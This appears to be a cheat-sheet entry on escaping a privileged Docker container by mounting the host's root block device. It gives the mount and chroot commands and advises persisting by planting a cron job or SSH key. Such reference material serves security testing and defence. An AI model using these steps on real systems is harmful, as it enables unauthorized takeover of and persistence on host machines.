If the container can see the host's root block device (every device in a privileged container, or a specific --device), mounting it gives the whole host filesystem.

cat /proc/partitions                 # find the host root disk, e.g. sda / sda1
mkdir -p /mnt/host && mount /dev/sda1 /mnt/host
chroot /mnt/host sh                  # or write authorized_keys / cron directly

Exploitation notes#

• Mounting needs the mount syscall, so pair device visibility with CAP_SYS_ADMIN or a privileged container.
• Identify the right partition from /proc/partitions and lsblk; LVM or encrypted roots need the matching mapper device.
• Writing is the durable option: drop a cron job or SSH key rather than relying on an interactive chroot.

References#

• man 8 mount
• Trail of Bits: Understanding Docker container escapes